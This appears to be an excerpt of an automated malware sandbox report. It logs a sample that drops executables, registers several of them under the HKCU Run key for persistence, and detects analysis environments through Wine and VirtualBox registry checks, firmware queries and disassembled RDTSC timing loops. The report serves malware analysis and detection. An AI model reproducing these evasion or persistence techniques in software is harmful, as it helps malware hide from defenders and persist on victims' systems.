Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d7f88d1a57.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d7f88d1a57.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e9987cd408.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e9987cd408.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8cfb091e91.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8cfb091e91.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c5c0aef5f7.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c5c0aef5f7.exe

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 100F9F9 second address: 100FA1E instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4A7CC24DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F4A7CC24DF8h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1189598 second address: 118959C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188710 second address: 1188714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1188E29 second address: 1188E2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B4C5 second address: 118B4E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B4E2 second address: 118B4E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B4E7 second address: 118B4F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B4F5 second address: 118B510 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 js 00007F4A7D1268F6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jg 00007F4A7D1268F6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B5A3 second address: 118B5A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B665 second address: 118B66B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B66B second address: 118B6ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jmp 00007F4A7CC24DEBh 0x00000011 pop eax 0x00000012 mov dx, BC3Fh 0x00000016 push 00000003h 0x00000018 push 00000000h 0x0000001a push ecx 0x0000001b call 00007F4A7CC24DE8h 0x00000020 pop ecx 0x00000021 mov dword ptr [esp+04h], ecx 0x00000025 add dword ptr [esp+04h], 0000001Ah 0x0000002d inc ecx 0x0000002e push ecx 0x0000002f ret 0x00000030 pop ecx 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D1E49h], esi 0x00000038 push 00000000h 0x0000003a sub dword ptr [ebp+122D1C9Dh], ebx 0x00000040 push 00000003h 0x00000042 push 00000000h 0x00000044 push eax 0x00000045 call 00007F4A7CC24DE8h 0x0000004a pop eax 0x0000004b mov dword ptr [esp+04h], eax 0x0000004f add dword ptr [esp+04h], 00000014h 0x00000057 inc eax 0x00000058 push eax 0x00000059 ret 0x0000005a pop eax 0x0000005b ret 0x0000005c mov dword ptr [ebp+122D1D31h], esi 0x00000062 mov ecx, edx 0x00000064 call 00007F4A7CC24DE9h 0x00000069 pushad 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B6ED second address: 118B6F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B6F1 second address: 118B708 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4A7CC24DEFh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B708 second address: 118B73D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push esi 0x00000009 jmp 00007F4A7D126909h 0x0000000e pop esi 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F4A7D1268FCh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B73D second address: 118B7BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jne 00007F4A7CC24DEAh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jmp 00007F4A7CC24DF4h 0x0000001a pop eax 0x0000001b and ecx, dword ptr [ebp+122D2B50h] 0x00000021 movsx esi, cx 0x00000024 lea ebx, dword ptr [ebp+1244F421h] 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007F4A7CC24DE8h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 00000016h 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 mov dword ptr [ebp+122D1BACh], ecx 0x0000004a adc si, 3058h 0x0000004f push eax 0x00000050 pushad 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B7BB second address: 118B7BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B858 second address: 118B91A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F4A7CC24DF5h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c mov edi, dword ptr [ebp+122D2C90h] 0x00000012 push 00000000h 0x00000014 jmp 00007F4A7CC24DF9h 0x00000019 push 1301CED4h 0x0000001e jmp 00007F4A7CC24DECh 0x00000023 xor dword ptr [esp], 1301CE54h 0x0000002a xor dword ptr [ebp+122D1BACh], eax 0x00000030 push 00000003h 0x00000032 push 00000000h 0x00000034 push edi 0x00000035 call 00007F4A7CC24DE8h 0x0000003a pop edi 0x0000003b mov dword ptr [esp+04h], edi 0x0000003f add dword ptr [esp+04h], 0000001Bh 0x00000047 inc edi 0x00000048 push edi 0x00000049 ret 0x0000004a pop edi 0x0000004b ret 0x0000004c jmp 00007F4A7CC24DF2h 0x00000051 movsx edx, dx 0x00000054 push 00000000h 0x00000056 clc 0x00000057 push 00000003h 0x00000059 sub ecx, dword ptr [ebp+122D2A50h] 0x0000005f call 00007F4A7CC24DE9h 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F4A7CC24DF5h 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B91A second address: 118B929 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D1268FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B929 second address: 118B93C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F4A7CC24DE8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B93C second address: 118B96B instructions: 0x00000000 rdtsc 0x00000002 js 00007F4A7D1268F8h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 jne 00007F4A7D1268F8h 0x00000017 pop eax 0x00000018 mov eax, dword ptr [eax] 0x0000001a jmp 00007F4A7D1268FAh 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B96B second address: 118B96F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118B96F second address: 118B9CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D1268FAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007F4A7D1268FCh 0x0000000f jns 00007F4A7D1268F6h 0x00000015 popad 0x00000016 pop eax 0x00000017 mov ecx, dword ptr [ebp+122D1C66h] 0x0000001d lea ebx, dword ptr [ebp+1244F42Ah] 0x00000023 jmp 00007F4A7D126908h 0x00000028 xchg eax, ebx 0x00000029 push ebx 0x0000002a jmp 00007F4A7D126901h 0x0000002f pop ebx 0x00000030 push eax 0x00000031 pushad 0x00000032 push ecx 0x00000033 push ebx 0x00000034 pop ebx 0x00000035 pop ecx 0x00000036 pushad 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BA8C second address: 118BB14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4A7CC24DEFh 0x0000000a popad 0x0000000b add dword ptr [esp], 394042C8h 0x00000012 sub di, A196h 0x00000017 push 00000003h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F4A7CC24DE8h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 jmp 00007F4A7CC24DF4h 0x00000038 push 00000000h 0x0000003a jo 00007F4A7CC24DECh 0x00000040 mov esi, dword ptr [ebp+122D1C11h] 0x00000046 push 00000003h 0x00000048 mov di, bx 0x0000004b jbe 00007F4A7CC24DE9h 0x00000051 movsx esi, cx 0x00000054 push BA095D7Eh 0x00000059 push eax 0x0000005a push edx 0x0000005b jnc 00007F4A7CC24DECh 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BB14 second address: 118BB45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D1268FDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 05F6A282h 0x00000010 mov esi, eax 0x00000012 lea ebx, dword ptr [ebp+1244F435h] 0x00000018 mov dword ptr [ebp+122D1E49h], edi 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jnp 00007F4A7D1268F8h 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118BB45 second address: 118BB4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176A38 second address: 1176A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1176A3C second address: 1176A40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA30F second address: 11AA324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jg 00007F4A7D1268F6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA5D8 second address: 11AA5E6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007F4A7CC24DE6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA5E6 second address: 11AA5F0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4A7D1268F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA5F0 second address: 11AA5FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA774 second address: 11AA79D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D1268FEh 0x00000007 jmp 00007F4A7D126907h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA79D second address: 11AA7A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AA8F8 second address: 11AA8FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAA19 second address: 11AAA33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A7CC24DEAh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jp 00007F4A7CC24DE6h 0x00000011 popad 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAA33 second address: 11AAA3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAA3B second address: 11AAA41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAD18 second address: 11AAD25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F4A7D1268F6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAE9C second address: 11AAEAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F4A7CC24DEEh 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAEAB second address: 11AAEAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAEAF second address: 11AAEE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e jg 00007F4A7CC24DE6h 0x00000014 pop ecx 0x00000015 jno 00007F4A7CC24DFDh 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AAEE4 second address: 11AAEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB0B7 second address: 11AB0CA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4A7CC24DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jns 00007F4A7CC24DE6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB21B second address: 11AB261 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnl 00007F4A7D12690Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F4A7D126906h 0x00000014 pushad 0x00000015 popad 0x00000016 jng 00007F4A7D1268F6h 0x0000001c popad 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB261 second address: 11AB266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB3B8 second address: 11AB3C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D749 second address: 117D76E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F4A7CC24DEEh 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117D76E second address: 117D79B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4A7D126906h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F4A7D126901h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB699 second address: 11AB69F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABC66 second address: 11ABC6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABC6A second address: 11ABC74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABC74 second address: 11ABC80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F4A7D1268F6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABC80 second address: 11ABCCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DF7h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push ecx 0x0000000f jmp 00007F4A7CC24DF8h 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F4A7CC24DF0h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABCCC second address: 11ABCD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABE4C second address: 11ABE5C instructions: 0x00000000 rdtsc 0x00000002 je 00007F4A7CC24DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABE5C second address: 11ABE60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABE60 second address: 11ABE64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABE64 second address: 11ABE70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ABE70 second address: 11ABE8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A7CC24DF6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180C1C second address: 1180C21 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
